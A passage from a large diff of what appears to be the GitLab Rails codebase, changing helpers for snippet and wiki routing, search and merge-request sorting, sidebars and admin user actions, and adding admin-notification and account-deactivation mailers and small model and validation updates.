+ def gitlab_raw_snippet_path(snippet, *args)
+ if snippet.is_a?(ProjectSnippet)
+ raw_project_snippet_path(snippet.project, snippet, *args)
+ else
+ new_args = snippet_query_params(snippet, *args)
+ raw_snippet_path(snippet, *new_args)
+ end
+ end
+
+ def gitlab_raw_snippet_url(snippet, *args)
+ if snippet.is_a?(ProjectSnippet)
+ raw_project_snippet_url(snippet.project, snippet, *args)
+ else
+ new_args = snippet_query_params(snippet, *args)
+ raw_snippet_url(snippet, *new_args)
+ end
+ end
+
+ def gitlab_raw_snippet_blob_url(snippet, path, ref = nil, **options)
+ params = {
+ snippet_id: snippet,
+ ref: ref || snippet.default_branch,
+ path: path
+ }
+
+ if snippet.is_a?(ProjectSnippet)
+ project_snippet_blob_raw_url(snippet.project, **params, **options)
+ else
+ snippet_blob_raw_url(**params, **options)
+ end
+ end
+
+ def gitlab_raw_snippet_blob_path(snippet, path, ref = nil, **options)
+ gitlab_raw_snippet_blob_url(snippet, path, ref, only_path: true, **options)
+ end
+
+ def gitlab_snippet_notes_path(snippet, *args)
+ new_args = snippet_query_params(snippet, *args)
+ snippet_notes_path(snippet, *new_args)
+ end
+
+ def gitlab_snippet_notes_url(snippet, *args)
+ new_args = snippet_query_params(snippet, *args)
+ snippet_notes_url(snippet, *new_args)
+ end
+
+ def gitlab_snippet_note_path(snippet, note, *args)
+ new_args = snippet_query_params(snippet, *args)
+ snippet_note_path(snippet, note, *new_args)
+ end
+
+ def gitlab_snippet_note_url(snippet, note, *args)
+ new_args = snippet_query_params(snippet, *args)
+ snippet_note_url(snippet, note, *new_args)
+ end
+
+ def gitlab_toggle_award_emoji_snippet_note_path(snippet, note, *args)
+ new_args = snippet_query_params(snippet, *args)
+ toggle_award_emoji_snippet_note_path(snippet, note, *new_args)
+ end
+
+ def gitlab_toggle_award_emoji_snippet_note_url(snippet, note, *args)
+ new_args = snippet_query_params(snippet, *args)
+ toggle_award_emoji_snippet_note_url(snippet, note, *new_args)
+ end
+
+ def gitlab_toggle_award_emoji_snippet_path(snippet, *args)
+ new_args = snippet_query_params(snippet, *args)
+ toggle_award_emoji_snippet_path(snippet, *new_args)
+ end
+
+ def gitlab_toggle_award_emoji_snippet_url(snippet, *args)
+ new_args = snippet_query_params(snippet, *args)
+ toggle_award_emoji_snippet_url(snippet, *new_args)
+ end
+
+ def preview_markdown_path(parent, *args)
+ return group_preview_markdown_path(parent, *args) if parent.is_a?(Group)
+
+ if @snippet.is_a?(PersonalSnippet)
+ preview_markdown_snippets_path
+ else
+ preview_markdown_project_path(parent, *args)
+ end
+ end
+
+ def toggle_award_emoji_personal_snippet_path(*args)
+ toggle_award_emoji_snippet_path(*args)
+ end
+
+ def toggle_award_emoji_project_project_snippet_path(*args)
+ toggle_award_emoji_project_snippet_path(*args)
+ end
+
+ def toggle_award_emoji_project_project_snippet_url(*args)
+ toggle_award_emoji_project_snippet_url(*args)
+ end
+
+ private
+
+ def snippet_query_params(snippet, *args)
+ opts = case args.last
+ when Hash
+ args.pop
+ when ActionController::Parameters
+ args.pop.to_h
+ else
+ {}
+ end
+
+ args << opts
+ end
+ end
+end
diff --git a/app/helpers/routing/wiki_helper.rb b/app/helpers/routing/wiki_helper.rb
new file mode 100644
index 00000000000..95f9e87de36
--- /dev/null
+++ b/app/helpers/routing/wiki_helper.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Routing
+ module WikiHelper
+ def wiki_path(wiki, **options)
+ Gitlab::UrlBuilder.wiki_url(wiki, only_path: true, **options)
+ end
+
+ def wiki_page_path(wiki, page, **options)
+ Gitlab::UrlBuilder.wiki_page_url(wiki, page, only_path: true, **options)
+ end
+ end
+end
diff --git a/app/helpers/search_helper.rb b/app/helpers/search_helper.rb
index e07ee22339a..ec8ed3d6e7f 100644
--- a/app/helpers/search_helper.rb
+++ b/app/helpers/search_helper.rb
@@ -131,7 +131,7 @@ module SearchHelper
end
def search_sort_options
- [
+ options = [
{
title: _('Created date'),
sortable: true,
@@ -149,6 +149,19 @@ module SearchHelper
}
}
]
+
+ if search_service.scope == 'issues' && Feature.enabled?(:search_sort_issues_by_popularity)
+ options << {
+ title: _('Popularity'),
+ sortable: true,
+ sortParam: {
+ asc: 'popularity_asc',
+ desc: 'popularity_desc'
+ }
+ }
+ end
+
+ options
end
private
@@ -172,12 +185,12 @@ module SearchHelper
# Autocomplete results for internal help pages
def help_autocomplete
[
- { category: "Help", label: _("API Help"), url: help_page_path("api/README") },
+ { category: "Help", label: _("API Help"), url: help_page_path("api/index") },
{ category: "Help", label: _("Markdown Help"), url: help_page_path("user/markdown") },
{ category: "Help", label: _("Permissions Help"), url: help_page_path("user/permissions") },
{ category: "Help", label: _("Public Access Help"), url: help_page_path("public_access/public_access") },
{ category: "Help", label: _("Rake Tasks Help"), url: help_page_path("raketasks/README") },
- { category: "Help", label: _("SSH Keys Help"), url: help_page_path("ssh/README") },
+ { category: "Help", label: _("SSH Keys Help"), url: help_page_path("ssh/index") },
{ category: "Help", label: _("System Hooks Help"), url: help_page_path("system_hooks/system_hooks") },
{ category: "Help", label: _("Webhooks Help"), url: help_page_path("user/project/integrations/webhooks") }
]
@@ -301,7 +314,7 @@ module SearchHelper
if @scope == scope
li_class = 'active'
- count = @search_results.formatted_count(scope)
+ count = @timeout ? 0 : @search_results.formatted_count(scope)
else
badge_class = 'js-search-count hidden'
badge_data = { url: search_count_path(search_params) }
diff --git a/app/helpers/services_helper.rb b/app/helpers/services_helper.rb
deleted file mode 100644
index 83000189ab3..00000000000
--- a/app/helpers/services_helper.rb
+++ /dev/null
@@ -1,185 +0,0 @@
-# frozen_string_literal: true
-
-module ServicesHelper
- def service_event_description(event)
- case event
- when "push", "push_events"
- s_("ProjectService|Trigger event for pushes to the repository.")
- when "tag_push", "tag_push_events"
- s_("ProjectService|Trigger event for new tags pushed to the repository.")
- when "note", "note_events"
- s_("ProjectService|Trigger event for new comments.")
- when "confidential_note", "confidential_note_events"
- s_("ProjectService|Trigger event for new comments on confidential issues.")
- when "issue", "issue_events"
- s_("ProjectService|Trigger event when an issue is created, updated, or closed.")
- when "confidential_issue", "confidential_issue_events"
- s_("ProjectService|Trigger event when a confidential issue is created, updated, or closed.")
- when "merge_request", "merge_request_events"
- s_("ProjectService|Trigger event when a merge request is created, updated, or merged.")
- when "pipeline", "pipeline_events"
- s_("ProjectService|Trigger event when a pipeline status changes.")
- when "wiki_page", "wiki_page_events"
- s_("ProjectService|Trigger event when a wiki page is created or updated.")
- when "commit", "commit_events"
- s_("ProjectService|Trigger event when a commit is created or updated.")
- when "deployment"
- s_("ProjectService|Trigger event when a deployment starts or finishes.")
- when "alert"
- s_("ProjectService|Trigger event when a new, unique alert is recorded.")
- end
- end
-
- def service_event_field_name(event)
- event = event.pluralize if %w[merge_request issue confidential_issue].include?(event)
- "#{event}_events"
- end
-
- def scoped_integrations_path
- if @project.present?
- project_settings_integrations_path(@project)
- elsif @group.present?
- group_settings_integrations_path(@group)
- else
- integrations_admin_application_settings_path
- end
- end
-
- def scoped_integration_path(integration)
- if @project.present?
- project_service_path(@project, integration)
- elsif @group.present?
- group_settings_integration_path(@group, integration)
- else
- admin_application_settings_integration_path(integration)
- end
- end
-
- def scoped_edit_integration_path(integration)
- if @project.present?
- edit_project_service_path(@project, integration)
- elsif @group.present?
- edit_group_settings_integration_path(@group, integration)
- else
- edit_admin_application_settings_integration_path(integration)
- end
- end
-
- def scoped_test_integration_path(integration)
- if @project.present?
- test_project_service_path(@project, integration)
- elsif @group.present?
- test_group_settings_integration_path(@group, integration)
- else
- test_admin_application_settings_integration_path(integration)
- end
- end
-
- def scoped_reset_integration_path(integration, group: nil)
- return '' unless integration.persisted?
-
- if group.present?
- reset_group_settings_integration_path(group, integration)
- else
- reset_admin_application_settings_integration_path(integration)
- end
- end
-
- def integration_form_data(integration, group: nil)
- form_data = {
- id: integration.id,
- show_active: integration.show_active_box?.to_s,
- activated: (integration.active || integration.new_record?).to_s,
- type: integration.to_param,
- merge_request_events: integration.merge_requests_events.to_s,
- commit_events: integration.commit_events.to_s,
- enable_comments: integration.comment_on_event_enabled.to_s,
- comment_detail: integration.comment_detail,
- learn_more_path: integrations_help_page_path,
- trigger_events: trigger_events_for_service(integration),
- fields: fields_for_service(integration),
- inherit_from_id: integration.inherit_from_id,
- integration_level: integration_level(integration),
- editable: integration.editable?.to_s,
- cancel_path: scoped_integrations_path,
- can_test: integration.can_test?.to_s,
- test_path: scoped_test_integration_path(integration),
- reset_path: scoped_reset_integration_path(integration, group: group)
- }
-
- if integration.is_a?(Integrations::Jira)
- form_data[:jira_issue_transition_automatic] = integration.jira_issue_transition_automatic
- form_data[:jira_issue_transition_id] = integration.jira_issue_transition_id
- end
-
- form_data
- end
-
- def integration_list_data(integrations)
- {
- integrations: integrations.map { |i| serialize_integration(i) }.to_json
- }
- end
-
- def trigger_events_for_service(integration)
- ServiceEventSerializer.new(service: integration).represent(integration.configurable_events).to_json
- end
-
- def fields_for_service(integration)
- ServiceFieldSerializer.new(service: integration).represent(integration.global_fields).to_json
- end
-
- def integrations_help_page_path
- help_page_path('user/admin_area/settings/project_integration_management')
- end
-
- def project_jira_issues_integration?
- false
- end
-
- def instance_level_integrations?
- !Gitlab.com?
- end
-
- def jira_issue_breadcrumb_link(issue_reference)
- link_to '', { class: 'gl-display-flex gl-align-items-center gl-white-space-nowrap' } do
- icon = image_tag image_path('illustrations/logos/jira.svg'), width: 15, height: 15, class: 'gl-mr-2'
- [icon, issue_reference].join.html_safe
- end
- end
-
- extend self
-
- private
-
- def integration_level(integration)
- if integration.instance_level?
- 'instance'
- elsif integration.group_level?
- 'group'
- else
- 'project'
- end
- end
-
- def serialize_integration(integration)
- {
- active: integration.operating?,
- title: integration.title,
- description: integration.description,
- updated_at: integration.updated_at,
- edit_path: scoped_edit_integration_path(integration),
- name: integration.to_param
- }
- end
-
- def show_service_templates_nav_link?
- Feature.disabled?(:disable_service_templates, type: :development, default_enabled: :yaml)
- end
-end
-
-ServicesHelper.prepend_mod_with('ServicesHelper')
-
-# The methods in `EE::ServicesHelper` should be available as both instance and
-# class methods.
-ServicesHelper.extend_mod_with('ServicesHelper')
diff --git a/app/helpers/sessions_helper.rb b/app/helpers/sessions_helper.rb
index ef737b25bc7..117f662fec6 100644
--- a/app/helpers/sessions_helper.rb
+++ b/app/helpers/sessions_helper.rb
@@ -1,6 +1,15 @@
# frozen_string_literal: true
module SessionsHelper
+ include Gitlab::Utils::StrongMemoize
+
+ def recently_confirmed_com?
+ strong_memoize(:recently_confirmed_com) do
+ ::Gitlab.dev_env_or_com? &&
+ !!flash[:notice]&.include?(t(:confirmed, scope: [:devise, :confirmations]))
+ end
+ end
+
def unconfirmed_email?
flash[:alert] == t(:unconfirmed, scope: [:devise, :failure])
end
diff --git a/app/helpers/sidebars_helper.rb b/app/helpers/sidebars_helper.rb
index 39ad8ed8a0f..77af6e37099 100644
--- a/app/helpers/sidebars_helper.rb
+++ b/app/helpers/sidebars_helper.rb
@@ -2,34 +2,75 @@
module SidebarsHelper
def sidebar_tracking_attributes_by_object(object)
+ sidebar_attributes_for_object(object).fetch(:tracking_attrs, {})
+ end
+
+ def sidebar_qa_selector(object)
+ sidebar_attributes_for_object(object).fetch(:sidebar_qa_selector, nil)
+ end
+
+ def scope_qa_menu_item(object)
+ sidebar_attributes_for_object(object).fetch(:scope_qa_menu_item, nil)
+ end
+
+ def scope_avatar_classes(object)
+ %w[avatar-container rect-avatar s32].tap do |klasses|
+ klass = sidebar_attributes_for_object(object).fetch(:scope_avatar_class, nil)
+ klasses << klass if klass
+ end
+ end
+
+ def project_sidebar_context(project, user, current_ref)
+ context_data = project_sidebar_context_data(project, user, current_ref)
+
+ Sidebars::Projects::Context.new(**context_data)
+ end
+
+ def group_sidebar_context(group, user)
+ context_data = group_sidebar_context_data(group, user)
+
+ Sidebars::Groups::Context.new(**context_data)
+ end
+
+ private
+
+ def sidebar_attributes_for_object(object)
case object
when Project
- sidebar_project_tracking_attrs
+ sidebar_project_attributes
when Group
- sidebar_group_tracking_attrs
+ sidebar_group_attributes
when User
- sidebar_user_profile_tracking_attrs
+ sidebar_user_attributes
else
{}
end
end
- def project_sidebar_context(project, user, current_ref)
- context_data = project_sidebar_context_data(project, user, current_ref)
-
- Sidebars::Projects::Context.new(**context_data)
+ def sidebar_project_attributes
+ {
+ tracking_attrs: sidebar_project_tracking_attrs,
+ sidebar_qa_selector: 'project_sidebar',
+ scope_qa_menu_item: 'Project scope',
+ scope_avatar_class: 'project_avatar'
+ }
end
- def sidebar_refactor_enabled?
- Feature.enabled?(:sidebar_refactor, current_user, default_enabled: :yaml)
+ def sidebar_group_attributes
+ {
+ tracking_attrs: sidebar_group_tracking_attrs,
+ sidebar_qa_selector: 'group_sidebar',
+ scope_qa_menu_item: 'Group scope',
+ scope_avatar_class: 'group_avatar'
+ }
end
- def sidebar_refactor_disabled?
- !sidebar_refactor_enabled?
+ def sidebar_user_attributes
+ {
+ tracking_attrs: sidebar_user_profile_tracking_attrs
+ }
end
- private
-
def sidebar_project_tracking_attrs
tracking_attrs('projects_side_navigation', 'render', 'projects_side_navigation')
end
@@ -54,6 +95,13 @@ module SidebarsHelper
show_cluster_hint: show_gke_cluster_integration_callout?(project)
}
end
+
+ def group_sidebar_context_data(group, user)
+ {
+ current_user: user,
+ container: group
+ }
+ end
end
SidebarsHelper.prepend_mod_with('SidebarsHelper')
diff --git a/app/helpers/sorting_helper.rb b/app/helpers/sorting_helper.rb
index 0bb9e9e9bdd..da32dfb0b9b 100644
--- a/app/helpers/sorting_helper.rb
+++ b/app/helpers/sorting_helper.rb
@@ -26,6 +26,9 @@ module SortingHelper
sort_value_recently_updated => sort_title_recently_updated,
sort_value_popularity => sort_title_popularity,
sort_value_priority => sort_title_priority,
+ sort_value_merged_date => sort_title_merged_date,
+ sort_value_merged_recently => sort_title_merged_recently,
+ sort_value_merged_earlier => sort_title_merged_earlier,
sort_value_upvotes => sort_title_upvotes,
sort_value_contacted_date => sort_title_contacted_date,
sort_value_relative_position => sort_title_relative_position,
@@ -168,19 +171,6 @@ module SortingHelper
}
end
- def member_sort_options_hash
- {
- sort_value_access_level_asc => sort_title_access_level_asc,
- sort_value_access_level_desc => sort_title_access_level_desc,
- sort_value_last_joined => sort_title_last_joined,
- sort_value_name => sort_title_name_asc,
- sort_value_name_desc => sort_title_name_desc,
- sort_value_oldest_joined => sort_title_oldest_joined,
- sort_value_oldest_signin => sort_title_oldest_signin,
- sort_value_recently_signin => sort_title_recently_signin
- }
- end
-
def sortable_item(item, path, sorted_by)
link_to item, path, class: sorted_by == item ? 'is-active' : ''
end
@@ -191,6 +181,7 @@ module SortingHelper
sort_value_oldest_updated => sort_value_recently_updated,
sort_value_milestone_later => sort_value_milestone,
sort_value_due_date_later => sort_value_due_date,
+ sort_value_merged_recently => sort_value_merged_date,
sort_value_least_popular => sort_value_popularity
}
end
@@ -203,6 +194,8 @@ module SortingHelper
sort_value_milestone => sort_value_milestone_later,
sort_value_due_date => sort_value_due_date_later,
sort_value_due_date_soon => sort_value_due_date_later,
+ sort_value_merged_date => sort_value_merged_recently,
+ sort_value_merged_earlier => sort_value_merged_recently,
sort_value_popularity => sort_value_least_popular,
sort_value_most_popular => sort_value_least_popular
}.merge(issuable_sort_option_overrides)
@@ -223,7 +216,7 @@ module SortingHelper
def sort_direction_icon(sort_value)
case sort_value
- when sort_value_milestone, sort_value_due_date, /_asc\z/
+ when sort_value_milestone, sort_value_due_date, sort_value_merged_date, /_asc\z/
'sort-lowest'
else
'sort-highest'
diff --git a/app/helpers/sorting_titles_values_helper.rb b/app/helpers/sorting_titles_values_helper.rb
index 28d70f1db45..9b839f4e9bc 100644
--- a/app/helpers/sorting_titles_values_helper.rb
+++ b/app/helpers/sorting_titles_values_helper.rb
@@ -2,14 +2,6 @@
module SortingTitlesValuesHelper
# Titles.
- def sort_title_access_level_asc
- s_('SortOptions|Access level, ascending')
- end
-
- def sort_title_access_level_desc
- s_('SortOptions|Access level, descending')
- end
-
def sort_title_created_date
s_('SortOptions|Created date')
end
@@ -34,6 +26,18 @@ module SortingTitlesValuesHelper
s_('SortOptions|Label priority')
end
+ def sort_title_merged_date
+ s_('SortOptions|Merged date')
+ end
+
+ def sort_title_merged_recently
+ s_('SortOptions|Merged recently')
+ end
+
+ def sort_title_merged_earlier
+ s_('SortOptions|Merged earlier')
+ end
+
def sort_title_largest_group
s_('SortOptions|Largest group')
end
@@ -42,10 +46,6 @@ module SortingTitlesValuesHelper
s_('SortOptions|Largest repository')
end
- def sort_title_last_joined
- s_('SortOptions|Last joined')
- end
-
def sort_title_latest_activity
s_('SortOptions|Last updated')
end
@@ -82,10 +82,6 @@ module SortingTitlesValuesHelper
s_('SortOptions|Oldest created')
end
- def sort_title_oldest_joined
- s_('SortOptions|Oldest joined')
- end
-
def sort_title_oldest_signin
s_('SortOptions|Oldest sign in')
end
@@ -167,14 +163,6 @@ module SortingTitlesValuesHelper
end
# Values.
- def sort_value_access_level_asc
- 'access_level_asc'
- end
-
- def sort_value_access_level_desc
- 'access_level_desc'
- end
-
def sort_value_created_date
'created_date'
end
@@ -199,6 +187,18 @@ module SortingTitlesValuesHelper
'label_priority'
end
+ def sort_value_merged_date
+ 'merged_at'
+ end
+
+ def sort_value_merged_recently
+ 'merged_at_desc'
+ end
+
+ def sort_value_merged_earlier
+ 'merged_at_asc'
+ end
+
def sort_value_largest_group
'storage_size_desc'
end
@@ -207,10 +207,6 @@ module SortingTitlesValuesHelper
'storage_size_desc'
end
- def sort_value_last_joined
- 'last_joined'
- end
-
def sort_value_latest_activity
'latest_activity_desc'
end
@@ -247,10 +243,6 @@ module SortingTitlesValuesHelper
'oldest_sign_in'
end
- def sort_value_oldest_joined
- 'oldest_joined'
- end
-
def sort_value_oldest_updated
'updated_asc'
end
diff --git a/app/helpers/tracking_helper.rb b/app/helpers/tracking_helper.rb
index 7957038c21e..3f53bd535b2 100644
--- a/app/helpers/tracking_helper.rb
+++ b/app/helpers/tracking_helper.rb
@@ -17,6 +17,6 @@ module TrackingHelper
def tracking_enabled?
Rails.env.production? &&
- ::Gitlab::CurrentSettings.snowplow_enabled?
+ ::Gitlab::Tracking.enabled?
end
end
diff --git a/app/helpers/user_callouts_helper.rb b/app/helpers/user_callouts_helper.rb
index c44da915105..4e6af298fcd 100644
--- a/app/helpers/user_callouts_helper.rb
+++ b/app/helpers/user_callouts_helper.rb
@@ -43,7 +43,7 @@ module UserCalloutsHelper
end
def show_customize_homepage_banner?
- !user_dismissed?(CUSTOMIZE_HOMEPAGE)
+ current_user.default_dashboard? && !user_dismissed?(CUSTOMIZE_HOMEPAGE)
end
def show_feature_flags_new_version?
diff --git a/app/helpers/users_helper.rb b/app/helpers/users_helper.rb
index c1d05c2d3cf..93a0166f43e 100644
--- a/app/helpers/users_helper.rb
+++ b/app/helpers/users_helper.rb
@@ -123,130 +123,38 @@ module UsersHelper
!user.confirmed?
end
- def user_block_data(user, message)
- {
- path: block_admin_user_path(user),
- method: 'put',
- modal_attributes: {
- title: s_('AdminUsers|Block user %{username}?') % { username: sanitize_name(user.name) },
- messageHtml: message,
- okVariant: 'warning',
- okTitle: s_('AdminUsers|Block')
- }.to_json
- }
- end
-
- def user_unblock_data(user)
- {
- path: unblock_admin_user_path(user),
- method: 'put',
- modal_attributes: {
- title: s_('AdminUsers|Unblock user %{username}?') % { username: sanitize_name(user.name) },
- message: s_('AdminUsers|You can always block their account again if needed.'),
- okVariant: 'info',
- okTitle: s_('AdminUsers|Unblock')
- }.to_json
- }
- end
-
- def user_block_effects
- header = tag.p s_('AdminUsers|Blocking user has the following effects:')
-
- list = tag.ul do
- concat tag.li s_('AdminUsers|User will not be able to login')
- concat tag.li s_('AdminUsers|User will not be able to access git repositories')
- concat tag.li s_('AdminUsers|Personal projects will be left')
- concat tag.li s_('AdminUsers|Owned groups will be left')
- end
-
- header + list
- end
-
- def user_ban_data(user)
- {
- path: ban_admin_user_path(user),
- method: 'put',
- modal_attributes: {
- title: s_('AdminUsers|Ban user %{username}?') % { username: sanitize_name(user.name) },
- message: s_('AdminUsers|You can unban their account in the future. Their data remains intact.'),
- okVariant: 'warning',
- okTitle: s_('AdminUsers|Ban')
- }.to_json
- }
- end
-
- def user_unban_data(user)
- {
- path: unban_admin_user_path(user),
- method: 'put',
- modal_attributes: {
- title: s_('AdminUsers|Unban %{username}?') % { username: sanitize_name(user.name) },
- message: s_('AdminUsers|You ban their account in the future if necessary.'),
- okVariant: 'info',
- okTitle: s_('AdminUsers|Unban')
- }.to_json
- }
- end
-
- def user_ban_effects
- header = tag.p s_('AdminUsers|Banning the user has the following effects:')
-
- list = tag.ul do
- concat tag.li s_('AdminUsers|User will be blocked')
- end
-
- link_start = '<a href="%{url}" target="_blank">'.html_safe % { url: help_page_path("user/admin_area/moderate_users", anchor: "ban-a-user") }
- info = tag.p s_('AdminUsers|Learn more about %{link_start}banned users.%{link_end}').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
-
- header + list + info
- end
-
def ban_feature_available?
Feature.enabled?(:ban_user_feature_flag)
end
- def user_deactivation_data(user, message)
- {
- path: deactivate_admin_user_path(user),
- method: 'put',
- modal_attributes: {
- title: s_('AdminUsers|Deactivate user %{username}?') % { username: sanitize_name(user.name) },
- messageHtml: message,
- okVariant: 'warning',
- okTitle: s_('AdminUsers|Deactivate')
- }.to_json
- }
- end
+ def confirm_user_data(user)
+ message = if user.unconfirmed_email.present?
+ _('This user has an unconfirmed email address (%{email}). You may force a confirmation.') % { email: user.unconfirmed_email }
+ else
+ _('This user has an unconfirmed email address. You may force a confirmation.')
+ end
+
+ modal_attributes = Gitlab::Json.dump({
+ title: s_('AdminUsers|Confirm user %{username}?') % { username: sanitize_name(user.name) },
+ messageHtml: message,
+ actionPrimary: {
+ text: s_('AdminUsers|Confirm user'),
+ attributes: [{ variant: 'info', 'data-qa-selector': 'confirm_user_confirm_button' }]
+ },
+ actionSecondary: {
+ text: _('Cancel'),
+ attributes: [{ variant: 'default' }]
+ }
+ })
- def user_activation_data(user)
{
- path: activate_admin_user_path(user),
+ path: confirm_admin_user_path(user),
method: 'put',
- modal_attributes: {
- title: s_('AdminUsers|Activate user %{username}?') % { username: sanitize_name(user.name) },
- message: s_('AdminUsers|You can always deactivate their account again if needed.'),
- okVariant: 'info',
- okTitle: s_('AdminUsers|Activate')
- }.to_json
+ modal_attributes: modal_attributes,
+ qa_selector: 'confirm_user_button'
}
end
- def user_deactivation_effects
- header = tag.p s_('AdminUsers|Deactivating a user has the following effects:')
-
- list = tag.ul do
- concat tag.li s_('AdminUsers|The user will be logged out')
- concat tag.li s_('AdminUsers|The user will not be able to access git repositories')
- concat tag.li s_('AdminUsers|The user will not be able to access the API')
- concat tag.li s_('AdminUsers|The user will not receive any notifications')
- concat tag.li s_('AdminUsers|The user will not be able to use slash commands')
- concat tag.li s_('AdminUsers|When the user logs back in, their account will reactivate as a fully active account')
- concat tag.li s_('AdminUsers|Personal projects, group and user history will be left intact')
- end
-
- header + list
- end
-
def user_display_name(user)
return s_('UserProfile|Blocked user') if user.blocked?
@@ -256,6 +164,13 @@ module UsersHelper
user.name
end
+ def admin_user_actions_data_attributes(user)
+ {
+ user: Admin::UserEntity.represent(user, { current_user: current_user }).to_json,
+ paths: admin_users_paths.to_json
+ }
+ end
+
private
def admin_users_paths
@@ -270,7 +185,9 @@ module UsersHelper
unlock: unlock_admin_user_path(:id),
delete: admin_user_path(:id),
delete_with_contributions: admin_user_path(:id),
- admin_user: admin_user_path(:id)
+ admin_user: admin_user_path(:id),
+ ban: ban_admin_user_path(:id),
+ unban: unban_admin_user_path(:id)
}
end
diff --git a/app/helpers/whats_new_helper.rb b/app/helpers/whats_new_helper.rb
index 5fca00c5dce..ccccfcb930b 100644
--- a/app/helpers/whats_new_helper.rb
+++ b/app/helpers/whats_new_helper.rb
@@ -32,11 +32,11 @@ module WhatsNewHelper
def whats_new_variants_description(variant)
case variant
when 'all_tiers'
- _("What's new presents new features from all tiers to help you keep track of all new features.")
+ _("Include new features from all tiers.")
when 'current_tier'
- _("What's new presents new features for your current subscription tier, while hiding new features not available to your subscription tier.")
+ _("Only include features new to your current subscription tier.")
when 'disabled'
- _("What's new is disabled and can no longer be viewed.")
+ _("%{italic_start}What's new%{italic_end} is inactive and cannot be viewed.").html_safe % { italic_start: '<i>'.html_safe, italic_end: '</i>'.html_safe }
end
end
end
diff --git a/app/mailers/emails/admin_notification.rb b/app/mailers/emails/admin_notification.rb
new file mode 100644
index 00000000000..f4540ef81a5
--- /dev/null
+++ b/app/mailers/emails/admin_notification.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Emails
+ module AdminNotification
+ def send_admin_notification(user_id, subject, body)
+ user = User.find(user_id)
+ email = user.notification_email
+ @unsubscribe_url = unsubscribe_url(email: Base64.urlsafe_encode64(email))
+ @body = body
+ mail to: email, subject: subject
+ end
+
+ def send_unsubscribed_notification(user_id)
+ user = User.find(user_id)
+ email = user.notification_email
+ mail to: email, subject: "Unsubscribed from GitLab administrator notifications"
+ end
+ end
+end
diff --git a/app/mailers/emails/profile.rb b/app/mailers/emails/profile.rb
index 2efcba54c13..a8affb34f62 100644
--- a/app/mailers/emails/profile.rb
+++ b/app/mailers/emails/profile.rb
@@ -26,6 +26,14 @@ module Emails
subject: subject(_("GitLab account request rejected")))
end
+ def user_deactivated_email(name, email)
+ @name = name
+
+ profile_email_with_layout(
+ to: email,
+ subject: subject(_('Your account has been deactivated')))
+ end
+
# rubocop: disable CodeReuse/ActiveRecord
def new_ssh_key_email(key_id)
@key = Key.find_by(id: key_id)
diff --git a/app/mailers/emails/service_desk.rb b/app/mailers/emails/service_desk.rb
index e8034ef9b57..66eb2c646a9 100644
--- a/app/mailers/emails/service_desk.rb
+++ b/app/mailers/emails/service_desk.rb
@@ -20,9 +20,7 @@ module Emails
options = service_desk_options(email_sender, 'thank_you', @issue.external_author)
.merge(subject: "Re: #{subject_base}")
- mail_new_thread(@issue, options).tap do
- Gitlab::Metrics::BackgroundTransaction.current&.add_event(:service_desk_thank_you_email)
- end
+ mail_new_thread(@issue, options)
end
def service_desk_new_note_email(issue_id, note_id, recipient)
@@ -33,9 +31,7 @@ module Emails
options = service_desk_options(email_sender, 'new_note', recipient)
.merge(subject: subject_base)
- mail_answer_thread(@issue, options).tap do
- Gitlab::Metrics::BackgroundTransaction.current&.add_event(:service_desk_new_note_email)
- end
+ mail_answer_thread(@issue, options)
end
private
diff --git a/app/mailers/notify.rb b/app/mailers/notify.rb
index dd75ab4bf03..03b70fffde1 100644
--- a/app/mailers/notify.rb
+++ b/app/mailers/notify.rb
@@ -22,6 +22,7 @@ class Notify < ApplicationMailer
include Emails::Reviews
include Emails::ServiceDesk
include Emails::InProductMarketing
+ include Emails::AdminNotification
helper TimeboxesHelper
helper MergeRequestsHelper
diff --git a/app/models/ability.rb b/app/models/ability.rb
index 6a63a8d46ba..a185448d5ea 100644
--- a/app/models/ability.rb
+++ b/app/models/ability.rb
@@ -54,6 +54,14 @@ class Ability
end
end
+ def feature_flags_readable_by_user(feature_flags, user = nil, filters: {})
+ feature_flags = apply_filters_if_needed(feature_flags, user, filters)
+
+ DeclarativePolicy.user_scope do
+ feature_flags.select { |flag| allowed?(user, :read_feature_flag, flag) }
+ end
+ end
+
def allowed?(user, ability, subject = :global, opts = {})
if subject.is_a?(Hash)
opts = subject
diff --git a/app/models/alert_management/alert.rb b/app/models/alert_management/alert.rb
index 156111ffaf3..679406e68d7 100644
--- a/app/models/alert_management/alert.rb
+++ b/app/models/alert_management/alert.rb
@@ -210,7 +210,7 @@ module AlertManagement
end
def self.link_reference_pattern
- @link_reference_pattern ||= super("alert_management", /(?<alert>\d+)\/details(\#)?/)
+ @link_reference_pattern ||= super("alert_management", %r{(?<alert>\d+)/details(\#)?})
end
def self.reference_valid?(reference)
@@ -225,6 +225,10 @@ module AlertManagement
open_statuses.include?(status)
end
+ def open?
+ self.class.open_status?(status_name)
+ end
+
def status_event_for(status)
self.class.state_machines[:status].events.transitions_for(self, to: status.to_s.to_sym).first&.event
end
@@ -248,10 +252,10 @@ module AlertManagement
"#{project.to_reference_base(from, full: full)}#{reference}"
end
- def execute_services
- return unless project.has_active_services?(:alert_hooks)
+ def execute_integrations
+ return unless project.has_active_integrations?(:alert_hooks)
- project.execute_services(hook_data, :alert_hooks)
+ project.execute_integrations(hook_data, :alert_hooks)
end
# Representation of the alert's payload. Avoid accessing
diff --git a/app/models/alert_management/http_integration.rb b/app/models/alert_management/http_integration.rb
index 2caa9a18445..0c3b1679dc3 100644
--- a/app/models/alert_management/http_integration.rb
+++ b/app/models/alert_management/http_integration.rb
@@ -53,10 +53,6 @@ module AlertManagement
endpoint_identifier == LEGACY_IDENTIFIER
end
- def token_changed?
- attribute_changed?(:token)
- end
-
# Blank token assignment triggers token reset
def prevent_token_assignment
if token.present? && token_changed?
diff --git a/app/models/application_setting.rb b/app/models/application_setting.rb
index f8047ed9b78..a7140cc0718 100644
--- a/app/models/application_setting.rb
+++ b/app/models/application_setting.rb
@@ -172,6 +172,11 @@ class ApplicationSetting < ApplicationRecord
addressable_url: { enforce_sanitization: true },
if: :gitpod_enabled
+ validates :mailgun_signing_key,
+ presence: true,
+ length: { maximum: 255 },
+ if: :mailgun_events_enabled
+
validates :snowplow_collector_hostname,
presence: true,
hostname: true,
@@ -288,7 +293,7 @@ class ApplicationSetting < ApplicationRecord
validates :user_default_internal_regex, js_regex: true, allow_nil: true
validates :personal_access_token_prefix,
- format: { with: /\A[a-zA-Z0-9_+=\/@:.-]+\z/,
